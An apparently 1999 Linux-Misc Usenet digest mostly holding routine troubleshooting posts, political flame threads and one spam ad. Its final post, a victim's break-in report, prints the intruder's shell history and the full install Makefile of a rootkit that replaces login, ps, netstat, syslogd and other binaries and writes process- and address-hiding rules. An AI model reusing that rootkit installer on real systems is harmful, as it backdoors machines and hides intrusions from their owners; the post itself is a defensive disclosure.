Linux-Misc Digest #48, Volume #21                Fri, 16 Jul 99 03:13:08 EDT

Contents:
  Re: Did you switch from Windows to Linux? ("Timmy")
  Re: Where to find documentation on more esoteric X window functions (Silviu Minut)
  Re: kppp   ,    modem busy problem,       help.    SuSE6.1 (dd)
  Re: Kernel upgrade: make modules_install messes everything up? 
([EMAIL PROTECTED])
  Re: Hardrive recovery (Nicolas Gosselin)
  Re: Why is Microsoft so greedy??? ("Charles Sullivan")
  Networking Linux and Windows machines. ("Robert Koenig")
  Re: What's needed for StarOffice with Slackware 4.0.0 ("Scott MacDonald")
  Re: Max memory linux can use (Marc Mutz)
  Re: CIA assassinations (MK)
  Re: CIA assassinations (MK)
  Multiple sound devices (Chaotic Thought)
  Re: vesafb:  Frame Buffer consoles (Tim Roberts)
  Re: Non-Executable stack on Linux 2.2.x kernels? ([EMAIL PROTECTED])
  Simple The Best !!! ([EMAIL PROTECTED])
  Re: Bad superblock on Redhat 6.0 (Dustin Puryear)
  Re: Networking Linux and Windows machines. (Dustin Puryear)
  Re: Network unreachable (Dustin Puryear)
  Re: Debian packaging system (Paul Seelig)
  Re: CIA assassinations (Richard Kulisz)
  Can't run executables (yes I use ./) ([EMAIL PROTECTED])
  My Linux box was hacked! (Chris Long)

----------------------------------------------------------------------------

From: "Timmy" <[EMAIL PROTECTED]>
Crossposted-To: alt.os.linux,alt.os.linux.caldera,comp.os.linux
Subject: Re: Did you switch from Windows to Linux?
Date: Fri, 16 Jul 1999 03:37:55 GMT

have you tried q3test?



------------------------------

From: Silviu Minut <[EMAIL PROTECTED]>
Subject: Re: Where to find documentation on more esoteric X window functions
Date: Thu, 15 Jul 1999 23:49:49 -0400

I trully apologize for my other post. I pressed the send button by mistake before
writing anything.


Xlib is the lowest level library for X applications. Nye's book is the bible.
There are other sources, of course.
You don't need to hack into various programs to see how they do it, althogh I did
that when the samle code was not enough for my purposes. What sample code? Nye's
book (and other O'Reilly books) have all the source code available online at the
O'reilly home page (something like http://www.ora.com, but the precise location
is in the book).

Now since Xlib is so low level, people have written X libraries on top of it (e.g
Xt, tk, gtk, etc.) For instance Tcl/Tk basically a high level object oriented
language, similar to a shell script. Of course, the higher you go on the
hierarchy, the simpler the programmer's job is supposed to be, but of course you
lose some functionality. In many cases things like Tk is just what the dotor
ordered.

Writing a "Hello World" with Xlib would take 50-100 lines of code, fewer with Xt,
and just 3 lines with Tk!!! Code like this:

#!/usr/bin/wish

button .b -text "Hello World" -bg blue -command { exit }
pack .b


The definitive Tk page is http://www.sco.com. I'm sure you'll find your way in
there.
Xlib programming is highly nontrivial and starting with programs big programs
like ImageMagic is hard. I hacked into the
source code of xv and although I did get what I wanted it was very hard.



------------------------------

From: dd <[EMAIL PROTECTED]>
Crossposted-To: alt.os.linux,comp.os.linux.setup
Subject: Re: kppp   ,    modem busy problem,       help.    SuSE6.1
Date: Thu, 15 Jul 1999 23:19:36 -0400

click on the Device tab.

[EMAIL PROTECTED] wrote:

> hi there
>
>         1st can SuSE 6.1 be setup to use my modem for dialup and my ethernet
> card for a cable modem?
>          Good,    well for now (till my cable modem gets here) i need to get
> kppp working, i get an error message that says                  sorry,
> the modem is busy.
>
> i dont know what could be using the modem , how can i findout?


------------------------------

From: [EMAIL PROTECTED]
Subject: Re: Kernel upgrade: make modules_install messes everything up?
Date: Thu, 15 Jul 1999 06:37:09 -0700
Reply-To: [EMAIL PROTECTED]

Steven E Bourland <[EMAIL PROTECTED]> wrote:
> I am having similar problems with my new RH 6.0 installation.  I can
> make the kernel image, fix up lilo and everything and be able to boot my
> old kernel, but as soon as I hit that 'make_install' I am screwed.  My
> old kernel complains that it can't find the modules dependancies, and
> the new image gets all upset about
> not finding 'inet-pf-1'.  Does anyone have any solutions here?
after booting a new kernel, you need to run 'depmod -a' to remake the
dep file (it's usually in /lib/modules/{version}/modules.dep).  The warning
about 'net-pf-1' is b/c you have compiled support for Unix domain sockets
as a module and not included a line like 'alias net-pf-1 unix' to your
/etc/conf.modules.
 
> Also, I am confused as to how two different kernel images can now
> peacefully co-exist when using modules?  Don't they try and use the same
> modules directory so that only one of them can have the
> correct dependancies???  Can anyone offer some explanation?
look at /lib/modules, the directory where the modules are installed.  Mine
looks like:
        ./      ../     2.0.36/     2.2.0-pre7/     2.2.5/
which is one directory for each version I currently have installed.  Each one
contains its own modules.dep file, so the kernel doesn't get confused.  A very
elegant design on the kernel people's part IMO.
-ckm

------------------------------

From: Nicolas Gosselin <[EMAIL PROTECTED]>
Subject: Re: Hardrive recovery
Date: Tue, 13 Jul 1999 14:26:19 -0400
Reply-To: [EMAIL PROTECTED]


Those are the inodes that were linked to a file and were deleted... After
Sometime of searching I found a undelete how-to which pointed me to some
tools....
Well its really a mini-howto... quite nice thou its on www.linux.org in the
support section under the mini how-tos
Thanks for the help :) (no pun intended)

see ya

Silviu Minut wrote:

> I believe those are inodes that were not linked to any file. It happened to
> me too. Data that is written to disk, is normally ok. What happens is that
> when some file is being written to disk and the crush occurs, then linux
> doesn't get to finish the writing or the accounting (it has to keep track
> where everything is) and pieces of the unfinished files will be found on
> the disk. You should be ok. Just check your files to see if you're not
> missing any.
>
> Nicolas Gosselin wrote:
>
> > Hey Guys,
> >
> > I've been trying to recover some data off a hard drive that has linux as
> > its OS.  I tried everything and after I ran fsck and e2fsck a few times
> > It finally mounted but the thing is all I have is a lost+found directory
> > with a bunch of #090909 directories. (The numbers change and so forth).
> > My question is is there a way to get the data back? Are those numbers
> > actually directories on the system? Or am I totally screwed?
> >
> > Thanks for any advice in advance,
> >
> > Nicolas


------------------------------

From: "Charles Sullivan" <[EMAIL PROTECTED]>
Crossposted-To: microsoft.public.windowsnt,microsoft.public.windows95
Subject: Re: Why is Microsoft so greedy???
Date: Fri, 16 Jul 1999 00:07:14 -0400

I assume you disputed the charge to your CC company.

louis denger wrote in message ...
>Very Interesting.
>
>Imagine I am in Melbourne (Australia)
>I had a problem with W95.
>
>I rang in Sydney (Australia).
>They took my credit card number,
>
>I waited 20 min for the service, in vain.
>The line turned off.
>I got no service at all.
>
>Yet they took $42 out of my credit card.
>
>Go it. The is a very nice little earner...
>
>Salutations
>
>Louis
>
>
>David wrote in message <[EMAIL PROTECTED]>...
>>-----BEGIN PGP SIGNED MESSAGE-----
>>Hash: SHA1
>>
>>Dear Microsoft
>>
>>I was curious how an administrator of a MS WindowsNT/98/95
>>network is supposed to go about downloading all of the service
>>packs and various fixes for each of the os's from without having
>>to go to each machine?  We do not think that we should have
>>to pay extra for fallacies that your programmers caused in your
>>software.  There should be an easily accessible, freely available
>>ftp server of which we can download all of the various fixes for all
>>of you software and operating systems.
>>
>>
>>P.S.  On a side note, our company is undergoing evaluation of whether
>>or
>>not we will be switching our entire network to linux desktop/server
>>machines.
>>If microsoft doesn't pull their act together it's definitely going to
>>happen.
>>
>>-----BEGIN PGP SIGNATURE-----
>>Version: PGP for Personal Privacy 5.0
>>Charset: noconv
>>
>>iQA/AwUBN4uPtETNaOpKOuebEQI4ZwCeKhyigCM+ax5AA42/BlmlxRxWIYYAoP6W
>>KUyl4ET1aViIBw6ZPvU7RXQ2
>>=lLeR
>>-----END PGP SIGNATURE-----
>
>


------------------------------

Reply-To: "Robert Koenig" <[EMAIL PROTECTED]>
From: "Robert Koenig" <[EMAIL PROTECTED]>
Subject: Networking Linux and Windows machines.
Date: Thu, 15 Jul 1999 05:23:18 -0700

Hello, yes I am a first time user.  I was wondering if Linux and Windows
machines can see each other on the network or do I need a gateway of some
sort. More specifically if I set up wingate or some other proxy on my
windows mahine can I use linux go through the window machine to the
internet?

Thanks for you time,
Robert



------------------------------

From: "Scott MacDonald" <[EMAIL PROTECTED]>
Subject: Re: What's needed for StarOffice with Slackware 4.0.0
Date: Fri, 16 Jul 1999 01:33:34 -0300


> I finally got enough room and recently installed Slackware 4.0.0
>
> I'd like to try StarOffice. I believe it's free for home usage.
>
> What additional files, if any, do I need?
>
> I installed A, AP, D, N, K, X and XAP

What is A, AP, D, N, K, X, XAP?????



------------------------------

Date: Fri, 16 Jul 1999 00:44:27 +0200
From: Marc Mutz <[EMAIL PROTECTED]>
Subject: Re: Max memory linux can use

[EMAIL PROTECTED] wrote:
> 
> I have  recently installed Mandrake 6.0 on my Dell 6300 server (the big
> one with hot swap hard drives).
> 
> It has 1 gig of ecc ram, a ami Raid controller with 3 9 gig SCSI's
> hardware 5 raided, etc, etc.
> 
> I was pleasently suprised when Mandrake already had the drivers for my
> AMI card and without any other manual setting installed and ran.  When
> the system came up it apparently auto recognized about 976 megs of ram.
> 
> I ran this system for about 1 month with 4 users (mainly samba sharing)
> and it ran fine.  Then this weekend I switched 40+ users off a novell
> machine onto Linux.  Within hours linux froze.  And I mean FROZE.
> After a reboot I had horrible disk errors and once corrected I had
> files that I had updated over an hour ago (like the printcap) hosed.
> 
<etc>

Looks like you became a victim of that fs-corruption bug in later 2.2.x
kernels. If you can test with the risk of losing your data again, then
check out if the error goes away when you switch to 2.2.7 (prior to bug)
or 2.2.10-ac10 (after? bug). Examine your syslog please and report any
oops that has made it there to the kernel mailing list
<URL:mailto:[EMAIL PROTECTED]>.
Please stay with the bug report form that you find in
/usr/src/linux/README or REPORTING-BUGS somewhere in that directory, if
available.

Marc

-- 
Marc Mutz <[EMAIL PROTECTED]>                    http://marc.mutz.com/
University of Bielefeld, Dep. of Mathematics / Dep. of Physics

PGP-keyID's:   0xd46ce9ab (RSA), 0x7ae55b9e (DSS/DH)



------------------------------

From: [EMAIL PROTECTED] (MK)
Crossposted-To: comp.os.ms-windows.advocacy,comp.os.linux.advocacy,gnu.misc.discuss
Subject: Re: CIA assassinations
Date: Thu, 15 Jul 1999 17:40:25 GMT
Reply-To: [EMAIL PROTECTED]

On 15 Jul 1999 04:34:18 GMT, [EMAIL PROTECTED] (Richard Kulisz)
wrote:

>In article <[EMAIL PROTECTED]>,
>MK <[EMAIL PROTECTED]> wrote:
>>>But since the real power rests in the
>>>economic sphere, 
>>
>>That's true, power is in customer's pocket. Good.
>
>Where do they breed you idiots? 

In better place than yours.

>Customers have as much power in the
>economic sphere as voters have in the political sphere, which is to
>say None. 

As long as government does not get involved, customer has all
the power.

>Moreover, customers and *consumers* are two different things.

Does not matter. Matters who pays for it.

>Customers who are not consumers includes resellers, which makes up
>the overwhelming portion of the economy. 

True. Any economically active person is both customer and producer.

>So in a very limited sense
>you're correct (although still a duplicitous asshole) since corporaitons
>have all the power.

No. Customers have all the power, be it individual, organization,
whoever spends money in free choice. Ultimately, end customers
of goods are those who spend on it. As many dollars spent 
as customers, as many votes. If government did not get involved,
power would belong to most of the people, as they spend most
of the money.

>>No, it only means you try to sell idiotic theory of concentration of
>>capital. It's already dead together with Marx, you just pretend
>>it is alive.

>Concentration of capital is undestood to be the natural course of events
>by every serious economist, it's also widely understood to be the current
>state of affairs; even the mass media accepts it as obvious.

ROTFL

Show me that "serious economist". Serious economists laugh at Marx
for vulgar and stupid simplifications he made. 

And since when what popular media embraces is true? It's rather
that the most shallow and thus untrue theories are accepted
by media. Serious economic theory is not easy to grasp and requires
effort; it's simplistico economico a la Marx that gets attention
precisely because he has had no merit.




Marcin Krol

==================================================
Reality is something that does not disappear after
you cease believing in it - VALIS, Philip K. Dick
==================================================

Delete _spamspamlovelyspam_ from address to email me

------------------------------

From: [EMAIL PROTECTED] (MK)
Crossposted-To: comp.os.ms-windows.advocacy,comp.os.linux.advocacy,gnu.misc.discuss
Subject: Re: CIA assassinations
Date: Thu, 15 Jul 1999 17:57:01 GMT
Reply-To: [EMAIL PROTECTED]

On 14 Jul 1999 19:50:36 GMT, [EMAIL PROTECTED] (Philip
Brown) wrote:

>>Nope. Stalin took over when everything was already largely settled
>>down. It's just every attempt of socialism/communism eventually
>>evolves into Soviet system.

>just as every attempt at "democracy" devolves to whatever the US has now?

How about contemporary federal power in context what founding fathers
in US thought it should be.

Every socialism evolves into Soviet system, because this 
is inherent fate of socialism being unsustainable system. From
Jamestown to Russia. Read "Animal Farm" by George
Orwell for good metaphor of mechanism of transformation. 
"Every revolution evaporates and leaves only slime of new 
bureaucracy" -- Franz Kafka.




Marcin Krol

==================================================
Reality is something that does not disappear after
you cease believing in it - VALIS, Philip K. Dick
==================================================

Delete _spamspamlovelyspam_ from address to email me

------------------------------

From: Chaotic Thought <[EMAIL PROTECTED]>
Reply-To: [EMAIL PROTECTED]
Subject: Multiple sound devices
Date: Fri, 16 Jul 1999 04:55:09 GMT

I have multiple sound cards in my system, and one feauture I enjoy about
win9x is the fact that if one is busy (playing a sound), then the next
one will be used instead. 
In linux, is there a way I can get the /dev/dsp link to "ringdown" the
list of sounddevices so that if one is busy, it will link to the next..?

Or if this doesn't sound like the way, is there any other way to get
multiple sound devices to work (without having to change links manually)
under linux?

------------------------------

From: [EMAIL PROTECTED] (Tim Roberts)
Crossposted-To: comp.os.linux.x
Subject: Re: vesafb:  Frame Buffer consoles
Date: Fri, 16 Jul 1999 04:59:30 GMT

[EMAIL PROTECTED] () wrote:

>Maybe you can help me... unfortunately it doesn�t work for me.
>
>My setup is as follows:
>
>TYAN TITAN PRO - 2x PPRO 200
>2 x MATROX MILLENIUM (BIOS 3.0)
>ADAPTEC 2940
>
>RED HAT 6.0 - KERNEL 2.2.10
>
>I followed the instructions in the framebuffer-HOWTO
>closely - at first trying to use the not-matrox
>accelerated vesa framebuffer. When I boot the
>kernel with vga=ask it doesn�t list other modes
>than the normal ones (for instance, 301 is not listed).

Did you build your kernel with vesafb support?  Do we know for certain that
the Millennium is supported by vesafb?
--
- Tim Roberts, [EMAIL PROTECTED]
  Providenza & Boekelheide, Inc.

------------------------------

From: [EMAIL PROTECTED]
Crossposted-To: comp.security.unix
Subject: Re: Non-Executable stack on Linux 2.2.x kernels?
Date: 16 Jul 1999 05:05:33 GMT
Reply-To: [EMAIL PROTECTED]

Dave <[EMAIL PROTECTED]> writes:
>Does a patch exist for Linux 2.2.x for stack protection, such as Solar
>Designer's patch for 2.0.x? The secure-linux package for 2.0.x was
>excellent, but I can't seem to find anything similar for 2.2.x.. :(

It doesn't exist for 2.2.x AFAIK.  Changes in the 2.2.x kernel made it
more difficult to impliment.

-- 
Lamont Granquist ([EMAIL PROTECTED])
ICBM: 47 39'23"N 122 18'19"W

------------------------------

From: [EMAIL PROTECTED]
Subject: Simple The Best !!!
Date: 16 Jul 1999 03:52:53 GMT

Looking for absolutely new ways to earn money?
I got them for you!
That's it: http://jump.to/webmoney
There are no BS ! only approved methodes.
Why don't you visit this site right now?...

------------------------------

From: [EMAIL PROTECTED] (Dustin Puryear)
Subject: Re: Bad superblock on Redhat 6.0
Date: Thu, 15 Jul 1999 17:51:47 GMT

On Wed, 14 Jul 1999 10:00:07 -0500, "News" <[EMAIL PROTECTED]> wrote:

>Hi
>
>After a proper shutdown, my system now boots with a bad superblock error.
>It suggests running 'e2fsck -b 8193 /dev/xxxx' to fix the problem.  This
>appears to run cleanly but I still get the error on boot-up.  I made a boot
>floppy, but don't have a rescue disk or backup.

Try using "e2fsck -f -b 8193 /dev/xxxx" instead.

---
Dustin Puryear
[EMAIL PROTECTED]

------------------------------

From: [EMAIL PROTECTED] (Dustin Puryear)
Subject: Re: Networking Linux and Windows machines.
Date: Thu, 15 Jul 1999 17:53:46 GMT

On Thu, 15 Jul 1999 05:23:18 -0700, "Robert Koenig"
<[EMAIL PROTECTED]> wrote:

>Hello, yes I am a first time user.  I was wondering if Linux and Windows
>machines can see each other on the network or do I need a gateway of some
>sort. More specifically if I set up wingate or some other proxy on my
>windows mahine can I use linux go through the window machine to the
>internet?

You will need to tell the appropriate Linux software to use the proxy
on the windows machine.

---
Dustin Puryear
[EMAIL PROTECTED]

------------------------------

From: [EMAIL PROTECTED] (Dustin Puryear)
Subject: Re: Network unreachable
Date: Thu, 15 Jul 1999 17:55:35 GMT

On Thu, 15 Jul 1999 15:08:37 GMT, J.N. Subrahmanyam
<[EMAIL PROTECTED]> wrote:

>Dear friends,
>I just installed linux from the redhat CD. Everything except the Network
>part is working fine.
>
>When i ping it is saying that network is unreachable. Even
>if i ping to the local machine, it is saying network is unreachable.
>
>My Network card is SMC-ultra, eth0.

I doubt your network card is actually configured. Either compile the
NIC's driver into the kernel or load it as a module. After that you
can run ifconfig and route.
---
Dustin Puryear
[EMAIL PROTECTED]

------------------------------

From: [EMAIL PROTECTED] (Paul Seelig)
Subject: Re: Debian packaging system
Date: 16 Jul 99 05:22:26 GMT

[EMAIL PROTECTED] (William Burrow) writes:

> Other things change frequently, due to development, bugs, features, etc.
> and it would be really good to have the latest version ASAP.
> Unfortunately, packages lag.  Some packages lag horribly.  This means a
> manual compile and install, which is right up my alley being a slackware
> type. 
> 
That's what /usr/local is meant for.  Or do it like i did and learn
making *simple* Debian packages with one of the semi-automagical
packaging tools included in Debian. It's even more fun than the
Lackware style because you get a clean deinstall option this way.

> To be sure, the *BSD ports system is darn slick.  The system retrieves,
> patches, compiles and installs the app on the same computer.
>
But does it do clean *de*installation as good as Debian does?

                                  Cheers, P. *8^)
-- 
   --------- Paul Seelig <[EMAIL PROTECTED]> -----------
   African Music Archive - Institute for Ethnology and Africa Studies
   Johannes Gutenberg-University   -  Forum 6  -  55099 Mainz/Germany
   ------------------- http://ntama.uni-mainz.de --------------------

------------------------------

From: [EMAIL PROTECTED] (Richard Kulisz)
Crossposted-To: comp.os.ms-windows.advocacy,comp.os.linux.advocacy,gnu.misc.discuss
Subject: Re: CIA assassinations
Date: 16 Jul 1999 06:19:03 GMT

In article <Qttj3.3589$[EMAIL PROTECTED]>,
Peter Seebach <[EMAIL PROTECTED]> wrote:
>I see no failure here.  There's a variety of choices, nay, a *plethora* of
>choices for network services and hosting.  Don't like what you find?  Build
>your own.  :)

Don't like Standard Oil; drill your own well and pump out your own oil.
I see you still haven't divorced yourself from idiocy, Peter.

>And remember, the government has historically viewed communications as likely
>"natural monopolies".

That's because it is. Extending a network (ANY network of *anything*)
is far cheaper than creating a new one from scratch. This is also why
generation and distribution must be separated in order to have any
competition in the power market.

>Anyway, net access continues to get faster, cheaper, and better supported.  I
>have no complaints.

Others do, but obviously they don't matter.

Note: that the product improves is irrelevant since in freemarket ideology
        what matters is whether it improves as much as humanly possible.

------------------------------

From: [EMAIL PROTECTED]
Crossposted-To: comp.os.linux.setup
Subject: Can't run executables (yes I use ./)
Date: Fri, 16 Jul 1999 05:31:25 GMT

Hi,

I use Linux with kernel version 2.0.34 and libc 5.4.44.
I downloaded some executables, but when trying to run them I get the
message "Command not found". Of course I put the executables in a
directory which is in the path and ran rehash. In fact, if I run
"which executable_name", I get the exact path to the executable.
Copying the command to the current directory and running
./executable_name doesn't help. Notice that the executables have the
right permissions set and the command "file executable_name" says that
executable_name is an ELF 32-bit LSB executable. Everything works fine
with executables I compiled myself.

Does anybody have a clue why this happens?

Thank you for any help,

Matteo Grigoletto
[EMAIL PROTECTED]


Sent via Deja.com http://www.deja.com/
Share what you know. Learn what you don't.

------------------------------

From: [EMAIL PROTECTED] (Chris Long)
Crossposted-To: comp.security.unix,comp.os.linux.setup
Subject: My Linux box was hacked!
Date: 10 Jul 1999 05:21:18 -0400

I was apparently (successfully) attacked by a hacker, who created accounts
(dave and ddave) on my Linux box with root access, and then modified my
files (don't know how or why).  What flaws in the version of Redhat Linux
that I was using were exploited (I use 5.1), and are they known?  Can I fix
the damage that was done easily?  I removed telnet and ftp from inetd.conf
to completely disallow telnet and ftp access as a result of this attack;
is this adequate?

You can reply to: clong at eden dot rutgers dot edu (replace at with @
and dot with ., of course).

I know where he connected from (from /var/log/secure).  These computers are
likely hacked as well:

Jul  9 23:45:01 siamese imapd[444]: connect from 193.166.150.99
Jul 10 00:12:39 siamese imapd[559]: connect from 24.1.137.167
Jul 10 00:13:45 siamese imapd[560]: connect from 193.166.150.99
Jul 10 00:15:26 siamese in.telnetd[566]: connect from 24.1.137.167
Jul 10 00:20:52 siamese in.telnetd[575]: connect from 24.1.137.167
Jul 10 00:33:10 siamese imapd[608]: connect from 193.166.150.99
Jul 10 00:33:20 siamese in.telnetd[610]: connect from 24.1.137.167
Jul 10 00:39:09 siamese in.rshd[636]: connect from 168.37.216.9
Jul 10 00:39:51 siamese in.rshd[637]: connect from 168.37.216.9
Jul 10 00:41:52 siamese in.telnetd[644]: connect from 24.1.137.167
Jul 10 00:45:33 siamese in.telnetd[654]: connect from 193.166.150.99

He didn't clean up very well after himself, and this is what I know about what
he did:

--

His bash_history:

df
uptime
ps x
exit
su ddave
ls
cd ..
ls
su ddave
ftp
su ddave
ftp
ftp
tar -zxf rk.tgz
cd rk
make install
exit
su ddave
ps x
logout

--

The Makefile that he ran (make install):

.EXPORT_ALL_VARIABLES:
IBSD=-I/usr/include/bsd -include /usr/include/bsd/bsd.h
CFLAGS = ${O} ${IBSD}
LDLIBS = -lbsd

SUB =   chfn chsh inetd login net-tools-1.32-alpha passwd \
 procps-1.01 rshd sysklogd-1.3 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc
findutils/lib findutils/find
SHADOWSUB = inetd net-tools-1.32-alpha procps-1.01 rshd sysklogd-1.3 \
 shadow-961025 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc  findutils/lib
findutils/find

CC=gcc

install:
        if [ -x /usr/bin/chfn ] && [ -x bin/chfn ]; then ./fix /usr/bin/chfn
bin/chfn; fi
        if [ -x /usr/bin/chsh ] && [ -x bin/chsh ]; then ./fix /usr/bin/chsh
bin/chsh; fi
        if [ -x /bin/login ] && [ -x bin/login ]; then ./fix /bin/login bin/login; fi
        if [ -x /bin/ls ] && [ -x fileutils-3.13/src/ls ]; then ./fix /bin/ls
fileutils-3.13/src/ls; fi
        if [ -x /bin/du ] && [ -x fileutils-3.13/src/du ]; then ./fix /bin/du
fileutils-3.13/src/du; fi
        if [ -x /usr/bin/passwd ] && [ -x bin/passwd ]; then ./fix /usr/bin/passwd
bin/passwd; fi
        if [ -x /bin/ps ] && [ -x procps-1.01/ps ]; then ./fix /bin/ps
procps-1.01/ps; fi
        if [ -x /usr/bin/top ] && [ -x procps-1.01/top ]; then ./fix /usr/bin/top
procps-1.01/top; fi
        if [ -x /usr/sbin/in.rshd ] && [ -x rshd/rshd ]; then ./fix /usr/sbin/in.rshd
rshd/rshd; fi
        if [ -x /bin/netstat ] && [ -x net-tools-1.32-alpha/netstat ]; then ./fix
/bin/netstat net-tools-1.32-alpha/netstat; fi
        if [ -x /sbin/ifconfig ] && [ -x net-tools-1.32-alpha/ifconfig ]; then ./fix
/sbin/ifconfig net-tools-1.32-alpha/ifconfig; fi
        if [ -x /usr/sbin/syslogd ] && [ -x sysklogd-1.3/syslogd ]; then ./fix
/usr/sbin/syslogd sysklogd-1.3/syslogd; fi
        if [ -x /usr/sbin/inetd ] && [ -x inetd/inetd ]; then ./fix /usr/sbin/inetd
inetd/inetd; fi
        if [ -x /usr/sbin/tcpd ] && [ -x tcpd_7.4/tcpd ]; then ./fix /usr/sbin/tcpd
tcpd_7.4/tcpd; fi
        if [ -x /usr/bin/killall ] && [ -x psmisc/killall ]; then ./fix
/usr/bin/killall psmisc/killall; fi
        if [ -x /bin/killall ] && [ -x psmisc/killall ]; then ./fix /bin/killall
psmisc/killall; fi
        if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /bin/killall ];
then ln -sf /bin/killall psmisc/pidof; fi
        if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ];
then ln -sf /usr/bin/killall psmisc/pidof; fi
        if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ];
then ./fix /usr/bin/pidof psmisc/pidof; fi
        if [ -x /sbin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ];
then ./fix /sbin/pidof psmisc/pidof; fi
        if [ -x /usr/bin/find ] && [ -x findutils/find/find ]; then ./fix
/usr/bin/find findutils/find/find; fi
        echo ".tmp" >> /dev/ptyr
        echo "3 imap" >> /dev/ptyp
        echo "3 eggdrop" >> /dev/ptyp
        echo "3 conf" >> /dev/ptyp
        echo "beer" >> /dev/ptys
        echo "1 195" >> /dev/ptyq
        echo "1 209.214" >> /dev/ptyq
        echo "1 209.215" >> /dev/ptyq
        echo "1 209.4" >> /dev/ptyq
        echo "1 207" >> /dev/ptyq
        ./patch
        rm -rf bin fileutils-3.13 findutils inetd net-tools-1.32-alpha
        rm -rf procps-1.01 psmisc sysklogd-1.3 tcpd_7.4 patch
        
clean:
        rm -f fix z2 wted linsniffer bindshell bin/* 
        for i in $(SUB); do make -C  $$i clean; done
        for i in $(SHADOWSUB); do make -C  $$i clean; done

--

ls -l /home/dave

drwxr-xr-x   3 root     root         1024 Jul 10 04:52 rk
-rw-rw-r--   1 root     root      1000077 Jul 10 04:49 rk.tgz

ls -l /home/dave/rk

-rw-r--r--   1 root     root         3158 Jun 30 07:29 Makefile
-rwxr-xr-x   1 root     root         5717 Jun 29 22:07 bindshell
-rwxr-xr-x   1 root     root         7985 Jun 29 22:06 fix
-rwxr-xr-x   1 root     root         7389 Jun 29 22:07 linsniffer
drwxr--r--   2 root     root         1024 Jul 10 04:52 rshd
-rwxr-xr-x   1 root     root         7521 Jun 29 22:06 wted
-rwxr-xr-x   1 root     root         5622 Jun 29 22:06 z2
-- 
Chris Long, Departments of Mathematics & Statistics, Rutgers University

Score: 0, Diff: 1, clong killed by a Harvard Math Team on  1

------------------------------


** FOR YOUR REFERENCE **

The service address, to which questions about the list itself and requests
to be added to or deleted from it should be directed, is:

    Internet: [EMAIL PROTECTED]

You can send mail to the entire list (and comp.os.linux.misc) via:

    Internet: [EMAIL PROTECTED]

Linux may be obtained via one of these FTP sites:
    ftp.funet.fi                                pub/Linux
    tsx-11.mit.edu                              pub/linux
    sunsite.unc.edu                             pub/Linux

End of Linux-Misc Digest
******************************

Reply via email to